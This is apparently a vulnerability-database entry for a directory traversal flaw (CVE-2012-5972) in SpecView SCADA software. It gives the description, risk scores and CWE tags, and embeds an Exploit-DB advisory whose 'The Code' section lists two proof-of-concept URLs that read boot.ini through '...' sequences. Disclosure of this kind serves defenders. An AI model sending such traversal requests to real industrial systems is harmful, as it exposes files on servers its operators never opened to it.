CVE-2012-5972

low

Published 2013-01-17 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

3.6

Description

Directory traversal vulnerability in the web server in SpecView 2.5 build 853 and earlier allows remote attackers to read arbitrary files via a ... (dot dot dot) in a URI.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-19455 webapps windows verified text · 1 KB

Luigi Auriemma · 2012-06-29

specview 2.5 build 853 - Directory Traversal

text exploit Source: Exploit-DB

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                             Luigi Auriemma

Application:  SpecView
              http://www.specview.com
Versions:     <= 2.5 build 853
Platforms:    Windows
Bug:          web server directory traversal
Exploitation: remote
Date:         29 Jun 2012
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


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1) Introduction
2) Bug
3) The Code
4) Fix


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1) Introduction
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SpecView is an easy to use SCADA software.


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2) Bug
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The software has an option (disabled by default) that allows to run a
web server for providing an updated screenshot of the program.
This built-in web server is affected by a classical directory
traversal attack through the usage of more than two dots.


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3) The Code
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http://SERVER/.../.../.../.../.../.../boot.ini
http://SERVER/...\...\...\...\...\...\boot.ini


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4) Fix
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No fix.


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Application impact

Vendor	Product	Versions	Fixed
specview	specview	`{"endIncluding":"2.5"}`

References

CWEs

CWE-23 CWE-22

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